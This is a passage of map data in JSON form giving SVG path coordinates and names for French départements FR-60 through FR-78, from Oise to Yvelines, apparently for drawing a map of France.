	"FR-60" : {"path": "M 257.21875,80.21875 L 255.9375,81.75 L 255.15625,83.6875 L 256.71875,83.6875 L 255.9375,85.65625 L 255.15625,89.5625 L 256.3125,91.5 L 256.3125,94.84375 L 258.28125,94.84375 L 257.5,96.1875 L 256.125,98.75 L 255.5625,100.5 L 257.3125,102.0625 L 257.875,106.5625 L 258.875,108.125 L 257.5,108.5 L 255.75,107.53125 L 255.4375,109.84375 L 255.5625,109.6875 L 256.3125,111.4375 L 257.5,113.375 L 262.78125,113.78125 L 266.5,113.375 L 269.03125,111.4375 L 272.15625,113.375 L 273.71875,114.5625 L 276.0625,113.96875 L 278.1875,113 L 282.3125,115.15625 L 286.59375,117.6875 L 287.96875,119.0625 L 290.3125,117.5 L 292.25,118.65625 L 293.4375,119.625 L 295.1875,119.4375 L 296.375,117.875 L 299.09375,119.4375 L 302.4375,118.0625 L 304.375,118.65625 L 306.3125,117.09375 L 307.5,116.5 L 307.875,116.78125 L 308.28125,114.125 L 306.875,112.53125 L 304.5,110.9375 L 303.5,112.53125 L 302.90625,112.71875 L 302.71875,109.75 L 304.5,109.34375 L 304.09375,106.59375 L 301.71875,106.1875 L 302.90625,104.1875 L 306.28125,103.40625 L 307.46875,98.65625 L 309.25,97.84375 L 306.875,96.0625 L 307.6875,94.28125 L 308.0625,88.34375 L 307.25,83.75 L 303.125,84.15625 L 300.34375,83.78125 L 295.1875,85.15625 L 290.8125,89.3125 L 287.25,88.125 L 283.6875,87.75 L 280.90625,84.96875 L 275.9375,83.5625 L 269.21875,84.15625 L 267.4375,82.78125 L 263.84375,82.78125 L 261.28125,83.78125 L 260.09375,82.96875 L 260.09375,80.8125 L 259.6875,80.21875 L 257.21875,80.21875 z ", "name" : "Oise"},
	"FR-61" : {"path": "M 206.84375,124.65625 L 202.875,125.53125 L 201.59375,124.75 L 197.875,125.375 L 197.71875,126.84375 L 196.4375,127.15625 L 195.96875,125.0625 L 194.34375,125.375 L 191.90625,128.125 L 188.21875,130.875 L 184.1875,132.15625 L 180.96875,130.375 L 177.25,131.03125 L 175,128.78125 L 172.875,129.5625 L 169.34375,132 L 165.3125,130.875 L 162.40625,134.25 L 158.46875,135.4375 L 160.625,136.84375 L 162.5625,138.78125 L 162.09375,140.6875 L 162.40625,142.3125 L 161.28125,146.03125 L 157.9375,148.875 L 159.25,151.09375 L 161.40625,152.65625 L 164.34375,150.6875 L 166.28125,152.0625 L 171.5625,148.9375 L 176.84375,149.71875 L 179.75,148.53125 L 180.5625,146.59375 L 182.5,146.40625 L 184.25,147.96875 L 185.03125,152.25 L 187.5625,153.21875 L 188.5625,156.75 L 191.875,156.9375 L 197.15625,152.0625 L 202.4375,151.875 L 204,154 L 204.96875,161.03125 L 208.28125,162.21875 L 210.25,165.15625 L 214.34375,165.15625 L 214.53125,166.5 L 214.71875,164.5625 L 215.5,164.5625 L 218.25,168.65625 L 220.375,169 L 220.375,164.375 L 219.03125,162.59375 L 218.625,161.03125 L 221.5625,159.28125 L 224.5,158.6875 L 226.4375,156.34375 L 226.0625,149.125 L 221.9375,145.625 L 221.75,142.28125 L 218.25,139.9375 L 219.625,138 L 218.8125,135.0625 L 216.09375,134.09375 L 214.125,132.125 L 212.96875,129.40625 L 207.5,129.21875 L 205.9375,127.25 L 206.84375,124.65625 z ", "name" : "Orne"},
	"FR-62" : {"path": "M 269.25,8.65625 L 258.4375,10.71875 L 249.84375,17.34375 L 249.84375,43.71875 L 249.78125,44.5 L 252.8125,45.21875 L 253.78125,47.375 L 256.125,46.78125 L 257.5,45.03125 L 259.25,45.625 L 262.96875,48.53125 L 264.34375,47.96875 L 265.3125,50.3125 L 268.8125,51.875 L 268.8125,53.8125 L 271.375,54.78125 L 273.90625,53.8125 L 278.78125,53.21875 L 279.96875,54.21875 L 282.3125,53.21875 L 283.46875,55.1875 L 280.5625,57.125 L 280.5625,59.875 L 281.53125,60.84375 L 282.3125,60.65625 L 282.875,59.09375 L 284.65625,57.90625 L 286.40625,59.28125 L 290.5,60.65625 L 292.25,60.65625 L 292.25,58.6875 L 294.8125,60.46875 L 295,62.03125 L 293.8125,63.78125 L 295.96875,62.59375 L 297.75,61.8125 L 298.5,63.1875 L 298.5,64.5625 L 301.4375,63 L 306.125,63 L 306.3125,63.1875 L 307.46875,60.96875 L 306.875,59.96875 L 305.09375,59.59375 L 303.125,59.59375 L 301.9375,59.1875 L 303.90625,58 L 305.6875,58.1875 L 307.46875,58 L 307.6875,54.8125 L 308.875,54.03125 L 309.0625,52.25 L 306.875,50.84375 L 304.3125,50.65625 L 303.71875,50.25 L 305.3125,49.0625 L 305.6875,47.875 L 304.3125,46.90625 L 302.3125,44.5 L 302.53125,43.3125 L 305.09375,42.125 L 305.5,40.75 L 303.71875,39.9375 L 302.71875,37.375 L 299.15625,36.96875 L 295.59375,36 L 295.1875,32.03125 L 297.75,30.4375 L 296.78125,28.4375 L 294.78125,28.4375 L 293.40625,30.625 L 287.25,30.25 L 282.28125,29.03125 L 279.53125,26.0625 L 279.53125,23.6875 L 281.6875,22.6875 L 279.90625,21.3125 L 275.5625,21.125 L 272.96875,14.5625 L 269.25,8.65625 z ", "name" : "Pas de Calais"},
	"FR-63" : {"path": "M 299.09375,279.5 L 296.4375,282.5 L 296.25,281.4375 L 294.125,281.625 L 294.125,283.21875 L 292.90625,283.5625 L 291.65625,286.5625 L 290.0625,287.28125 L 287.09375,284.96875 L 287.375,289.5625 L 288.9375,291.5 L 289.71875,295.21875 L 287.375,296.96875 L 286.8125,299.71875 L 284.65625,300.875 L 280.9375,303.03125 L 281.3125,304.78125 L 285.8125,309.28125 L 286.21875,312.03125 L 284.4375,314.9375 L 284.4375,317.6875 L 285.625,319.0625 L 286.21875,322.375 L 285.84375,323.71875 L 291.84375,325.46875 L 293.4375,328.8125 L 296.59375,328.8125 L 297.84375,327.59375 L 299.96875,328.65625 L 301.03125,328.8125 L 303.6875,332.875 L 306.5,333.0625 L 307.21875,331.65625 L 308,331.75 L 308.8125,330.59375 L 312.34375,330.0625 L 314.28125,328.46875 L 316.40625,328.28125 L 316.40625,327.0625 L 317.8125,326.34375 L 318.1875,327.21875 L 319.0625,326.6875 L 320.46875,327.59375 L 322.9375,327.40625 L 325.0625,326.53125 L 326.46875,327.75 L 328.0625,327.75 L 329.3125,330.0625 L 331.25,330.9375 L 332.3125,328.46875 L 333.71875,329.71875 L 336.75,329.875 L 337.8125,327.75 L 339.5625,329.53125 L 342.03125,330.25 L 342.8125,329.5 L 341.28125,329 L 340.6875,326.65625 L 344.40625,323.15625 L 342.65625,316.71875 L 337.5625,313.375 L 335.4375,308.3125 L 333.09375,305.1875 L 333.6875,300.875 L 335.4375,299.125 L 332.3125,296.59375 L 332.40625,295.8125 L 329.65625,294.71875 L 328.78125,292.59375 L 325.78125,292.75 L 323.46875,292.21875 L 323.125,289.75 L 321.34375,288.875 L 319.0625,290.28125 L 316.40625,289.75 L 314.625,289.9375 L 308.625,289.0625 L 303.6875,286.21875 L 303.3125,284.8125 L 301.21875,282.5 L 302.625,280.5625 L 302.09375,279.5 L 299.09375,279.5 z ", "name" : "Puy de Dôme"},
	"FR-64" : {"path": "M 172.15625,428.875 L 169.34375,430.46875 L 163.6875,430.28125 L 163.15625,429.40625 L 159.4375,430.65625 L 156.59375,431.53125 L 154.46875,429.9375 L 152.1875,430.65625 L 151.46875,429.75 L 148.65625,429.75 L 146.875,430.65625 L 142.28125,430.46875 L 139.8125,432.40625 L 135.375,432.0625 L 134.5,433.3125 L 133.4375,432.9375 L 134.84375,431.53125 L 132.375,429.59375 L 129.375,432.25 L 124.25,432.59375 L 118.625,429.78125 L 117.8125,431.21875 L 113.3125,436.6875 L 109.8125,438.0625 L 107.28125,438.4375 L 107.28125,440.59375 L 109.625,442.75 L 113.125,442.9375 L 113.3125,445.46875 L 116.0625,445.6875 L 116.84375,443.90625 L 120.5625,445.46875 L 122.90625,446.0625 L 123.46875,448.40625 L 122.125,449.59375 L 122.125,453.28125 L 119.375,454.65625 L 119.1875,456.40625 L 120.9375,458.375 L 124.0625,459.34375 L 124.65625,456.40625 L 126.40625,454.46875 L 126.21875,457 L 127.59375,458.96875 L 131.09375,458.96875 L 132.65625,461.09375 L 137.34375,461.875 L 141.84375,464.625 L 149.25,464.625 L 149.65625,468.71875 L 154.71875,472.625 L 156.6875,474.96875 L 158.84375,473.8125 L 160.78125,473.40625 L 161.75,474.375 L 163.53125,473.40625 L 166.9375,471.53125 L 167.25,467.5 L 168.8125,466.3125 L 169.625,459.875 L 172.53125,460.46875 L 173.71875,459.6875 L 172.34375,456.9375 L 177.625,452.4375 L 180.75,445.40625 L 182.6875,442.875 L 180.34375,439.375 L 178.78125,437.03125 L 180.9375,435.0625 L 177.625,429.59375 L 172.34375,429.21875 L 172.15625,428.875 z ", "name" : "Pyrénées Atlantiques"},
	"FR-65" : {"path": "M 179.21875,428.53125 L 177.28125,429.5625 L 177.625,429.59375 L 180.9375,435.0625 L 178.78125,437.03125 L 180.34375,439.375 L 182.6875,442.875 L 180.75,445.40625 L 177.625,452.4375 L 172.34375,456.9375 L 173.71875,459.6875 L 172.53125,460.46875 L 169.625,459.875 L 168.8125,466.3125 L 167.25,467.5 L 166.9375,471.53125 L 167.4375,471.25 L 170.75,473.21875 L 174.65625,476.15625 L 175.03125,478.5 L 178.15625,481.03125 L 180.71875,481.03125 L 187.15625,478.28125 L 189.875,481.40625 L 193.59375,482.40625 L 194.96875,480.0625 L 196.71875,480.84375 L 200.5,481.09375 L 200.25,470.59375 L 202.21875,470.59375 L 203.96875,471.46875 L 205.21875,470.25 L 205.03125,468.3125 L 207.5,466.875 L 206.625,463.1875 L 205.5625,462.28125 L 203.4375,463 L 204.5,461.21875 L 203.96875,458.9375 L 200.78125,456.625 L 200.96875,455.03125 L 202.75,452.03125 L 205.03125,451.15625 L 205.03125,449.90625 L 206.4375,447.78125 L 207.375,446.46875 L 203.8125,444.625 L 199.03125,444.625 L 198.3125,443.1875 L 195.84375,443.1875 L 195.125,441.59375 L 192.84375,441.59375 L 192.125,442.3125 L 189.46875,442.3125 L 189.3125,440.71875 L 187.1875,439.3125 L 187.90625,438.59375 L 188.25,436.84375 L 187.71875,436.3125 L 186.65625,433.46875 L 184.34375,433.125 L 182.0625,431.875 L 182.21875,428.53125 L 179.21875,428.53125 z ", "name" : "Hautes Pyrénées"},
	"FR-66" : {"path": "M 300.5,468.65625 L 296.25,470.9375 L 296.59375,473.4375 L 278.0625,473.4375 L 278.21875,476.78125 L 280.15625,479.625 L 272.21875,483.5 L 271.375,483 L 264.84375,483.46875 L 264.03125,485.125 L 260.71875,485.96875 L 258.5,487.90625 L 252.4375,489.3125 L 252.78125,491.375 L 255.71875,494.125 L 261.5625,495.6875 L 261.75,499.1875 L 264.875,501.9375 L 267.21875,501.53125 L 270.5625,497.4375 L 274.65625,496.65625 L 281.09375,498.8125 L 286.5625,503.5 L 288.125,501.53125 L 289.5,501.53125 L 290.875,502.5 L 292.03125,501.9375 L 292.21875,499.1875 L 298.09375,497.8125 L 300.03125,495.28125 L 302.96875,494.3125 L 307.0625,494.3125 L 309.625,497.03125 L 312.75,497.25 L 312.75,494.125 L 311.1875,491.96875 L 308.4375,490.78125 L 308,473.71875 L 305.4375,472.53125 L 300.5,468.65625 z ", "name" : "Pyrénées Orientales"},
	"FR-67" : {"path": "M 480.71875,112.28125 L 477,113.3125 L 475.28125,116.3125 L 475.28125,119.25 L 473.71875,120.625 L 472.34375,120.625 L 469.8125,118.84375 L 467.84375,120.21875 L 465.5,120.21875 L 463.5625,118.28125 L 459.84375,117.6875 L 457.6875,116.71875 L 456.90625,113.78125 L 455.15625,115.71875 L 454.1875,120.21875 L 451.625,121 L 451.625,123.53125 L 454.1875,124.71875 L 456.125,126.09375 L 455.34375,127.84375 L 457.125,129 L 460.25,126.65625 L 465.6875,129.78125 L 463.375,134.09375 L 463.5625,135.46875 L 465.125,137.03125 L 463.9375,141.125 L 460.03125,145.03125 L 457.875,144.84375 L 459.25,146.1875 L 458.46875,149.71875 L 459.25,155 L 462.96875,155.96875 L 462.65625,156.6875 L 465.59375,156.53125 L 467.3125,158.625 L 468.84375,160.53125 L 472.6875,160.34375 L 474.40625,165.3125 L 477.40625,166.625 L 477.375,166 L 482.46875,156.03125 L 481.875,150.375 L 484.21875,142.75 L 484.8125,136.09375 L 489.875,132.40625 L 489.875,130.0625 L 491.84375,127.5 L 493.40625,127.5 L 495.15625,125.75 L 494.78125,122.4375 L 496.53125,117.75 L 499.25,117.15625 L 496.53125,115 L 491.65625,114.4375 L 487.34375,112.28125 L 484.40625,114.03125 L 482.84375,112.28125 L 480.71875,112.28125 z ", "name" : "Bas-Rhin"},
	"FR-68" : {"path": "M 465.59375,156.53125 L 462.65625,156.6875 L 460.8125,160.84375 L 458.46875,165.53125 L 459.0625,168.46875 L 457.125,172.96875 L 453.78125,175.875 L 453.59375,183.5 L 451.15625,185.59375 L 451.25,185.65625 L 452.03125,187.21875 L 455.15625,187.40625 L 458.6875,190.15625 L 459.25,191.5 L 459.0625,193.84375 L 458.09375,195.625 L 458.46875,197.96875 L 461.21875,197.5625 L 461.8125,199.71875 L 462.78125,203.875 L 465.09375,203.5 L 464.6875,205.625 L 466.0625,206.8125 L 473.28125,206.625 L 477,203.6875 L 477.1875,199.375 L 479.15625,196.84375 L 476.59375,193.90625 L 475.25,190.78125 L 476.8125,188.65625 L 476.8125,183.75 L 477.78125,181.40625 L 477.78125,177.5 L 479.53125,174.96875 L 477.59375,172.25 L 477.40625,166.625 L 474.40625,165.3125 L 472.6875,160.34375 L 468.84375,160.53125 L 467.3125,158.625 L 465.59375,156.53125 z ", "name" : "Haut Rhin"},
	"FR-69" : {"path": "M 371.75,275.3125 L 369.625,275.5 L 367.84375,277.25 L 366.6875,275.6875 L 364.9375,277.25 L 362.5625,275.6875 L 360.625,275.6875 L 359.84375,276.28125 L 359.4375,278.53125 L 360.5,279.375 L 360.5,281.28125 L 361.78125,283.40625 L 360.71875,284.6875 L 356.6875,284.6875 L 356.46875,288.5 L 355.1875,289.78125 L 356.03125,292.96875 L 356.03125,294.875 L 357.75,296.5625 L 357.75,298.90625 L 360.28125,301.25 L 360.28125,304 L 359.03125,305.90625 L 360.5,306.78125 L 360.5,308.25 L 359.21875,309.3125 L 359.21875,311.03125 L 364.75,316.125 L 371.34375,317.1875 L 371.96875,319.09375 L 369.84375,321.625 L 371.5625,322.6875 L 373.6875,321.84375 L 375.96875,322.1875 L 380.0625,320.15625 L 379.40625,318.875 L 376.65625,316.125 L 380.90625,314.625 L 386.4375,313.34375 L 390.6875,307.84375 L 387.90625,305.5 L 388.0625,303.46875 L 384.09375,302.3125 L 381.53125,303.15625 L 381.125,299.75 L 378.78125,297.625 L 377.28125,297.40625 L 373.46875,295.09375 L 374.09375,293.59375 L 374.09375,287 L 375.15625,285.53125 L 375.53125,280.96875 L 374.875,282.53125 L 373.5,282.34375 L 372.75,278.4375 L 371.75,275.3125 z ", "name" : "Rhône"},
	"FR-70" : {"path": "M 423.5,175.5 L 419.8125,176.09375 L 419.21875,178.03125 L 417.25,179.40625 L 415.90625,177.84375 L 414.9375,178.4375 L 415.6875,179.59375 L 413.75,180.78125 L 414.34375,182.34375 L 412.1875,183.125 L 412.1875,185.65625 L 409.4375,185.65625 L 409.25,187.21875 L 406.53125,187.8125 L 406.71875,190.15625 L 408.46875,190.34375 L 407.5,191.5 L 406.90625,195.40625 L 405.15625,195.40625 L 402.21875,196.59375 L 399.09375,195.40625 L 396.375,196.59375 L 396.375,198.5625 L 398.5,198.9375 L 400.0625,202.0625 L 400.28125,203.625 L 397.75,206.5625 L 396.5625,206.9375 L 395.78125,207.90625 L 397.9375,208.90625 L 398.3125,212.03125 L 400.0625,212.21875 L 400.28125,216.125 L 401.0625,216.90625 L 401.15625,217.53125 L 402.65625,217.9375 L 404.34375,219.34375 L 406.875,219.34375 L 407.84375,218.375 L 409.5625,218.4375 L 411.34375,218.5 L 415.28125,215.28125 L 416.40625,215.28125 L 417.65625,214.3125 L 421.71875,214.4375 L 424.8125,211.90625 L 427.0625,211.5 L 427.90625,209.40625 L 429.71875,208.84375 L 431.53125,205.75 L 434.0625,203.78125 L 436.71875,203.375 L 438.6875,204.78125 L 442.34375,204.34375 L 442.34375,202.375 L 443.8125,201.53125 L 444.96875,199.9375 L 447.21875,199.9375 L 448.46875,198.625 L 448.9375,195.5 L 448.9375,193.5625 L 448.09375,190.59375 L 448.09375,188.09375 L 449.625,186.96875 L 451.4375,186.03125 L 451.25,185.65625 L 445,182.34375 L 443.25,180.375 L 441.5,179.21875 L 439.9375,180 L 439.71875,181.15625 L 438.15625,182.125 L 437.1875,182.125 L 434.25,178.8125 L 430.15625,178.8125 L 428.40625,180.1875 L 426.84375,180.375 L 424.3125,178.4375 L 424.5,176.28125 L 423.5,175.5 z ", "name" : "Haute Saône"},
	"FR-71" : {"path": "M 351.46875,227.84375 L 351.46875,228.03125 L 348.53125,228.03125 L 346.15625,229.4375 L 344.75,231.40625 L 345.875,233.09375 L 346.84375,233.65625 L 346.15625,235.34375 L 345.15625,235.90625 L 344.0625,237.4375 L 345.3125,238.28125 L 345.15625,240.25 L 345.4375,242.34375 L 347.28125,243.46875 L 347.28125,244.3125 L 345.3125,245.4375 L 345.3125,246.6875 L 346.71875,247.9375 L 346.5625,248.65625 L 343.5,248.5 L 343.21875,249.5 L 341.8125,249.78125 L 340.40625,251.59375 L 338.59375,251.59375 L 337.1875,253 L 335.34375,253.28125 L 334.375,250.90625 L 333.125,250.75 L 330.0625,252.65625 L 333.6875,259.46875 L 333.6875,262.40625 L 334.65625,263.59375 L 337.96875,263.59375 L 339.125,265.15625 L 342.25,265.15625 L 343.625,267.09375 L 343.4375,274.71875 L 339.34375,277.84375 L 339.25,278.0625 L 339.53125,278.03125 L 340.125,278.21875 L 340.3125,281.34375 L 343.25,281.9375 L 343.625,283.3125 L 345.1875,283.3125 L 347.53125,281.9375 L 353.78125,282.90625 L 354.96875,284.09375 L 356.53125,282.53125 L 358.6875,282.53125 L 359.84375,276.28125 L 360.625,275.6875 L 362.5625,275.6875 L 364.9375,277.25 L 366.6875,275.6875 L 367.84375,277.25 L 369.625,275.5 L 371.75,275.3125 L 372.75,278.4375 L 373.5,282.34375 L 374.875,282.53125 L 376.0625,279.78125 L 379.75,265.34375 L 381.125,262.8125 L 383.28125,262.59375 L 385.4375,264.375 L 387,263.96875 L 388.9375,262.59375 L 390.90625,263 L 392.0625,265.53125 L 393.1875,265.96875 L 398.3125,265.34375 L 400.28125,263.78125 L 399.5,262.59375 L 397.15625,261.8125 L 396.9375,259.09375 L 398.90625,257.71875 L 399.6875,254.40625 L 397.9375,251.28125 L 396.75,249.71875 L 397.34375,249.125 L 397.34375,247.1875 L 395.78125,246.1875 L 395.375,244.625 L 399.875,244.0625 L 400.28125,242.5 L 398.90625,242.5 L 397.75,241.125 L 395.59375,241.125 L 393.8125,238.1875 L 392.25,238 L 392.4375,235.65625 L 390.75,235.46875 L 388.5,237 L 386.25,237.5625 L 384.71875,236.59375 L 382.75,236.46875 L 382.1875,237.28125 L 380.375,237.5625 L 376.3125,238.84375 L 370.40625,240.9375 L 368.15625,239.125 L 365.5,238.5625 L 365.375,236.1875 L 362.84375,234.34375 L 359.34375,231.6875 L 355.40625,231.8125 L 351.625,227.90625 L 351.46875,227.84375 z ", "name" : "Saône et Loire"},
	"FR-72" : {"path": "M 202.4375,151.875 L 197.15625,152.0625 L 191.875,156.9375 L 189.125,156.78125 L 185.46875,157.96875 L 184.34375,159.90625 L 183.84375,164.09375 L 184.1875,166.65625 L 181.28125,169.09375 L 180.46875,170.6875 L 181.125,172.15625 L 180.3125,174.09375 L 180.625,174.90625 L 177.40625,175.21875 L 176.9375,176.65625 L 178.375,180.21875 L 178.21875,181.1875 L 176.9375,182.3125 L 174.1875,182.46875 L 173.84375,183.4375 L 174.5,184.40625 L 174.5,190.21875 L 173.875,191.6875 L 175.625,193.125 L 175.625,195.0625 L 178.53125,195.21875 L 186.125,197.46875 L 194.34375,202.46875 L 197,203.5 L 198.3125,200.875 L 202.21875,203.625 L 204.375,203.625 L 203.1875,199.71875 L 205.5625,201.28125 L 206.90625,199.3125 L 212.5625,197.75 L 211.59375,195.40625 L 212.96875,193.65625 L 215.90625,192.5 L 218.625,188.96875 L 218.625,185.25 L 220.59375,185.25 L 221.375,182.53125 L 221.5625,178.4375 L 219.625,176.65625 L 221.1875,173.9375 L 223.5,171 L 220.78125,169.0625 L 218.25,168.65625 L 215.5,164.5625 L 214.71875,164.5625 L 214.53125,166.5 L 214.34375,165.15625 L 210.25,165.15625 L 208.28125,162.21875 L 204.96875,161.03125 L 204,154 L 202.4375,151.875 z ", "name" : "Sarthe"},
	"FR-73" : {"path": "M 417,293.8125 L 416.59375,299.53125 L 415.3125,300.59375 L 415.3125,306.96875 L 412.75,307.40625 L 412.34375,311.03125 L 410,312.71875 L 409.96875,312.6875 L 410.21875,313.78125 L 412.5625,316.3125 L 412.5625,318.03125 L 414.875,322.28125 L 419.78125,323.34375 L 421.46875,324.625 L 422.125,323.96875 L 421.25,322.28125 L 422.53125,319.5 L 424.03125,319.3125 L 426.5625,322.6875 L 427.625,321.21875 L 429.125,321.21875 L 433.15625,325.25 L 433.375,328 L 431.46875,329.0625 L 430.59375,333.09375 L 432.3125,334.8125 L 432.3125,336.5 L 431.875,338.21875 L 433.15625,336.9375 L 435.28125,338.21875 L 436.40625,339.75 L 439.9375,339.375 L 441.09375,340.53125 L 441.6875,343.28125 L 445.1875,342.875 L 445.59375,339.9375 L 447.34375,339.15625 L 451.09375,339.34375 L 451.03125,339.21875 L 456.875,336.875 L 459.03125,338.25 L 461.1875,338.25 L 461.375,335.90625 L 463.90625,334.53125 L 464.875,333.375 L 469.96875,331.40625 L 470.5625,328.09375 L 469.5625,326.53125 L 472.3125,321.84375 L 469.78125,320.875 L 469,318.125 L 463.71875,315 C 463.71875,315 464.03377,309.01275 463.53125,307.9375 C 463.51544,307.91055 463.48155,307.86019 463.46875,307.84375 C 463.46374,307.8383 463.44264,307.81713 463.4375,307.8125 C 463.43393,307.81272 463.4091,307.81243 463.40625,307.8125 C 463.4062,307.80552 463.40608,307.78312 463.40625,307.78125 C 463.40269,307.78137 463.37784,307.78121 463.375,307.78125 C 463.37209,307.7811 463.3467,307.78118 463.34375,307.78125 C 463.34022,307.78117 463.31534,307.78126 463.3125,307.78125 C 462.53125,307.97657 459.625,308.1875 459.625,308.1875 L 456.6875,304.84375 L 456.78125,301.625 L 455.46875,301.46875 L 453.96875,303.15625 L 452.0625,304.4375 L 452.5,303.375 L 450.5625,300.1875 L 447.375,300.1875 L 445.46875,297.84375 L 446.53125,296.5625 L 446.125,295.28125 L 444.625,294.875 L 442.71875,296.15625 L 441.21875,300.59375 L 439.3125,302.09375 L 438.46875,305.5 L 437.625,307.1875 L 434.21875,307.84375 L 433.15625,306.78125 L 430.1875,303.59375 L 428.46875,303.59375 L 427.84375,304.84375 L 424.4375,304.4375 L 422.96875,301.65625 L 419.125,301.03125 L 419.125,295.5 L 417,293.8125 z ", "name" : "Savoie"},
	"FR-74" : {"path": "M 446.125,266.1875 L 441.65625,266.96875 L 437.34375,270.46875 L 436.1875,268.71875 L 434.03125,268.90625 L 432.0625,273.21875 L 432.28125,274.96875 L 434.40625,276.71875 L 430.5,279.28125 L 427.96875,281.625 L 423.65625,281.625 L 421.6875,283.1875 L 419.78125,283.8125 L 418.71875,285.75 L 416.8125,284.6875 L 416.375,290.1875 L 417.4375,292.125 L 417.5,294.21875 L 419.125,295.5 L 419.125,301.03125 L 422.96875,301.65625 L 424.4375,304.4375 L 427.84375,304.84375 L 428.46875,303.59375 L 430.1875,303.59375 L 433.15625,306.78125 L 434.21875,307.84375 L 437.625,307.1875 L 438.46875,305.5 L 439.3125,302.09375 L 441.21875,300.59375 L 442.71875,296.15625 L 444.625,294.875 L 446.125,295.28125 L 446.53125,296.5625 L 445.46875,297.84375 L 447.375,300.1875 L 450.5625,300.1875 L 452.5,303.375 L 452.0625,304.4375 L 453.96875,303.15625 L 455.46875,301.46875 L 456.78125,301.625 L 456.875,298.21875 L 463.53125,295.46875 L 464.3125,293.53125 L 463.90625,289.21875 L 459.625,284.75 L 458.25,285.53125 L 458.25,283.75 L 458.25,280.84375 L 454.53125,279.0625 L 454.34375,277.5 L 456.5,275.15625 L 456.5,272.4375 L 452.96875,268.71875 L 452.78125,266.1875 L 446.125,266.1875 z ", "name" : "Haute Savoie"},
	"FR-75" : {"path": "M 280.28125,129.0625 L 277.75,129.09375 L 276.625,129.59375 L 276.15625,130.21875 L 275.125,130.28125 L 274.1875,131.34375 L 274.21875,131.9375 L 274.4375,132.625 L 276,133.0625 L 277.90625,134.03125 L 279.125,134.09375 L 279.9375,133.875 L 280.78125,133.28125 L 281.0625,133.53125 L 282.875,133.78125 L 283.1875,133.125 L 283.1875,132.46875 L 282.875,132.34375 L 281.625,132.40625 L 281.71875,132.71875 L 281.5,132.90625 L 281.09375,132.90625 L 281.25,132.5 L 281.3125,132.0625 L 281.25,132.0625 L 281.09375,130.3125 L 280.28125,129.0625 z ", "name" : "Paris"},
	"FR-76" : {"path": "M 241.9375,61.5 L 240.65625,63.0625 L 232.28125,69.5 L 217.4375,73.21875 L 207.65625,76.71875 L 199.65625,81.03125 L 194.96875,88.0625 L 194,93.53125 L 197.90625,96.46875 L 203.5625,97.625 L 202.65625,97.78125 L 202.6875,97.9375 L 207.0625,97.375 L 209.3125,94.96875 L 211,94.5625 L 212.9375,97.9375 L 215.625,97.65625 L 216.75,99.59375 L 221.5,99.3125 L 226.28125,102.6875 L 223.1875,103.65625 L 225.4375,105.34375 L 226.84375,105.34375 L 228.09375,108.03125 L 230.34375,108.03125 L 231.03125,106.34375 L 229.34375,105.21875 L 234.125,103.8125 L 239.15625,103.25 L 240.4375,99.59375 L 242.8125,97.5 L 247.3125,97.375 L 252.5,100.03125 L 255.59375,100.375 L 256.125,98.75 L 257.5,96.1875 L 258.28125,94.84375 L 256.3125,94.84375 L 256.3125,91.5 L 255.15625,89.5625 L 255.9375,85.65625 L 256.71875,83.6875 L 255.15625,83.6875 L 255.9375,81.75 L 257.875,79.40625 L 255.9375,75.875 L 255.34375,72.375 L 246.75,63.96875 L 245.78125,62.03125 L 243.625,62.21875 L 241.9375,61.5 z ", "name" : "Seine Maritime"},
	"FR-77" : {"path": "M 307.5,116.5 L 306.3125,117.09375 L 304.375,118.65625 L 302.4375,118.0625 L 299.09375,119.4375 L 296.375,117.875 L 295.1875,119.4375 L 293.4375,119.625 L 292.25,118.65625 L 290.3125,117.5 L 287.96875,119.0625 L 287.875,118.96875 L 287.03125,124.375 L 288.1875,131.25 L 288.1875,135.84375 L 286.65625,139.6875 L 287.03125,142.34375 L 285.3125,143.6875 L 286.25,148.875 L 285.5,150 L 284.9375,155.1875 L 286.25,156.90625 L 281.875,159.78125 L 281.875,163.71875 L 283.09375,165.53125 L 285.4375,166.71875 L 285.625,170.03125 L 282.5,172.1875 L 284.25,173.75 L 286.40625,172.375 L 291.6875,172.5625 L 293.625,172.1875 L 294.21875,170.625 L 296.375,170.8125 L 296.75,172.375 L 301.625,169.625 L 303.40625,167.5 L 305.75,164.75 L 304.1875,163 L 305.5625,160.0625 L 309.0625,158.3125 L 316.6875,158.6875 L 318.4375,157.34375 L 318.59375,157.5 L 319.03125,154.21875 L 319.8125,150.3125 L 321.1875,148.53125 L 321.375,146.1875 L 324.09375,145.03125 L 324.09375,143.46875 L 321.1875,143.65625 L 320.59375,142.28125 L 321.5625,140.53125 L 320.78125,137.59375 L 319.21875,136.625 L 319.625,133.90625 L 321.1875,132.90625 L 320.96875,131.75 L 321.53125,131.0625 L 318.25,130.375 L 317.25,128.03125 L 315.5,127.4375 L 310.25,122.375 L 309.65625,118.0625 L 307.5,116.5 z ", "name" : "Seine et Marne"},
	"FR-78" : {"path": "M 251.5,118.15625 L 251.4375,118.28125 L 245.96875,119.84375 L 245.1875,120.8125 L 246.1875,122.375 L 246.1875,123.9375 L 247.9375,124.3125 L 246.9375,125.3125 L 247.03125,126.1875 L 247.15625,126.09375 L 249.09375,128.03125 L 249.6875,130.375 L 251.25,131.9375 L 250.46875,134.09375 L 250.46875,136.03125 L 251.84375,137.59375 L 250.46875,139.9375 L 251.84375,143.28125 L 254.5625,145.21875 L 254.96875,147.375 L 257.3125,147.75 L 257.875,152.0625 L 259.65625,154.21875 L 262.8125,154.8125 L 263.28125,151.71875 L 264.625,150.1875 L 263.5,148.46875 L 266.34375,148.46875 L 268.28125,145.8125 L 266.9375,143.5 L 267.3125,141.40625 L 270.1875,140.0625 L 270.5625,137.9375 L 272.46875,137.1875 L 274.21875,136.40625 L 274.5625,136.625 L 274.5625,136.40625 L 272.8125,134.4375 L 271.71875,131.46875 L 273.46875,127.65625 L 272.59375,124.78125 L 269.1875,122.71875 L 264.375,122.5 L 259.875,119.625 L 256.25,120.28125 L 251.5,118.15625 z ", "name" : "Yvelines"},
